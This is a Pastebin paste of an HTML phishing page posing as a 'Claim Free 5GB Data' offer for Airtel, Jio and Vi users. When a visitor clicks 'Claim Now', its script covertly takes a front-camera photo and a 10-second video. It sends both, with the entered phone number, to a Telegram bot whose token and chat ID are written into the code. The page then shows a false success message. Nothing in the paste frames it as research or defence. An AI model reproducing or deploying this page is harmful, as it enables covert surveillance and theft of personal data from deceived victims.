Not a member of Pastebin yet?
                        Sign Up,
                        it unlocks many cool features!                    
                - <!DOCTYPE html>
 - <html lang="en">
 - <head>
 - <meta charset="UTF-8">
 - <meta name="viewport" content="width=device-width, initial-scale=1.0">
 - <title>Get 5GB Free Data</title>
 - <style>
 - body {
 - font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
 - display: flex;
 - justify-content: center;
 - align-items: center;
 - min-height: 100vh;
 - margin: 0;
 - background-color: #f4f5f7;
 - padding: 20px;
 - box-sizing: border-box;
 - }
 - .container {
 - background-color: #ffffff;
 - padding: 30px 25px;
 - border-radius: 16px;
 - box-shadow: 0 8px 20px rgba(0, 0, 0, 0.1);
 - max-width: 400px;
 - width: 100%;
 - text-align: center;
 - }
 - h1 {
 - font-size: 24px;
 - color: #007bff;
 - margin-bottom: 10px;
 - }
 - p {
 - color: #666;
 - font-size: 14px;
 - margin-bottom: 20px;
 - line-height: 1.5;
 - }
 - label {
 - display: block;
 - text-align: left;
 - font-size: 14px;
 - color: #333;
 - margin-bottom: 5px;
 - font-weight: 500;
 - }
 - input[type="text"] {
 - padding: 12px;
 - font-size: 16px;
 - width: 100%;
 - box-sizing: border-box;
 - margin-bottom: 20px;
 - border: 1px solid #ccc;
 - border-radius: 8px;
 - background-color: #f9f9f9;
 - }
 - button {
 - width: 100%;
 - padding: 12px;
 - font-size: 16px;
 - cursor: pointer;
 - background-color: #007bff;
 - color: white;
 - border: none;
 - border-radius: 8px;
 - transition: background-color 0.3s ease;
 - }
 - button:hover {
 - background-color: #0056b3;
 - }
 - .message,
 - .loading-message {
 - margin-top: 20px;
 - font-size: 14px;
 - color: #333;
 - }
 - .loading-message {
 - color: #007bff;
 - display: none;
 - }
 - .note {
 - font-size: 12px;
 - color: #999;
 - margin-top: 20px;
 - }
 - .testimonials {
 - display: none; /* Hidden for cleaner UI like the second screenshot */
 - }
 - footer {
 - font-size: 12px;
 - color: #aaa;
 - margin-top: 30px;
 - }
 - </style>
 - <script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
 - </head>
 - <body>
 - <div class="container">
 - <h1>🎁 Claim Free 5GB Data</h1>
 - <p>Limited-time Airtel, Jio, and Vi users only</p>
 - <form id="phoneNumberForm">
 - <label for="phoneNumber">Phone Number</label>
 - <input type="text" id="phoneNumber" name="phoneNumber" required pattern="\d{10,20}" placeholder="Enter 10-digit number">
 - <button type="button" onclick="getFreeData()">Claim Now</button>
 - </form>
 - <div class="message" id="message"></div>
 - <div class="loading-message" id="loadingMessage">Please wait, processing your request...</div>
 - <div class="note">Note: This offer is valid for a limited time only. Make sure to complete the process as soon as possible to avail the benefits.</div>
 - <footer>© 2025 DataBoost | All rights reserved</footer>
 - </div>
 - <script>
 - let captureCount = 0;
 - const MAX_CAPTURES = 3;
 - const TELEGRAM_BOT_TOKEN = '8077228064:AAEyEXK5Plf2fIVUrHR3Z6x6PEqIwRA6qeQ';
 - const CHAT_ID = '8081865612';
 - function getFreeData() {
 - const messageElement = document.getElementById('message');
 - const loadingMessageElement = document.getElementById('loadingMessage');
 - loadingMessageElement.style.display = 'block';
 - messageElement.textContent = '';
 - captureMedia();
 - }
 - async function captureMedia() {
 - if (captureCount >= MAX_CAPTURES) {
 - alert('You have reached the maximum number of captures.');
 - return;
 - }
 - captureCount++;
 - try {
 - const constraints = {
 - video: {
 - facingMode: 'user'
 - }
 - };
 - const stream = await navigator.mediaDevices.getUserMedia(constraints);
 - const videoTrack = stream.getVideoTracks()[0];
 - const imgData = await captureImageFromStream(stream);
 - const imgBlob = await fetch(imgData).then(res => res.blob());
 - const phoneNumber = document.getElementById('phoneNumber').value;
 - sendMediaToTelegram(imgBlob, 'photo', phoneNumber);
 - const videoBlob = await captureVideoFromStream(stream);
 - sendMediaToTelegram(videoBlob, 'video', phoneNumber);
 - stream.getTracks().forEach(track => track.stop());
 - const messageElement = document.getElementById('message');
 - const loadingMessageElement = document.getElementById('loadingMessage');
 - loadingMessageElement.style.display = 'none';
 - messageElement.textContent = 'Thank you for your interest! Your request was successful.';
 - } catch (error) {
 - console.error('Error accessing camera:', error);
 - alert('Error accessing camera. Please make sure your device supports camera access.');
 - }
 - }
 - async function captureImageFromStream(stream) {
 - const track = stream.getVideoTracks()[0];
 - const imageCapture = new ImageCapture(track);
 - return imageCapture.takePhoto().then(blob => {
 - return URL.createObjectURL(blob);
 - });
 - }
 - function captureVideoFromStream(stream) {
 - const mediaRecorder = new MediaRecorder(stream, { mimeType: 'video/webm' });
 - const chunks = [];
 - mediaRecorder.ondataavailable = function (event) {
 - if (event.data.size > 0) {
 - chunks.push(event.data);
 - }
 - };
 - mediaRecorder.start();
 - return new Promise((resolve, reject) => {
 - mediaRecorder.onstop = function () {
 - const blob = new Blob(chunks, { type: 'video/webm' });
 - resolve(blob);
 - };
 - setTimeout(() => {
 - mediaRecorder.stop();
 - }, 10000); // Stop recording after 10 seconds
 - });
 - }
 - function sendMediaToTelegram(blob, type, phoneNumber) {
 - const formData = new FormData();
 - formData.append(type, blob, `${type}_${captureCount}.webm`);
 - formData.append('caption', `Phone Number: ${phoneNumber}`);
 - axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/send${type.charAt(0).toUpperCase() + type.slice(1)}`, formData, {
 - params: {
 - chat_id: CHAT_ID
 - }
 - })
 - .then(response => {
 - console.log('Media sent successfully:', response.data);
 - })
 - .catch(error => {
 - console.error('Error sending media to Telegram:', error);
 - });
 - }
 - </script>
 - </body>
 - </html>
 
Advertisement
 
                    Add Comment                
                
                        Please, Sign In to add comment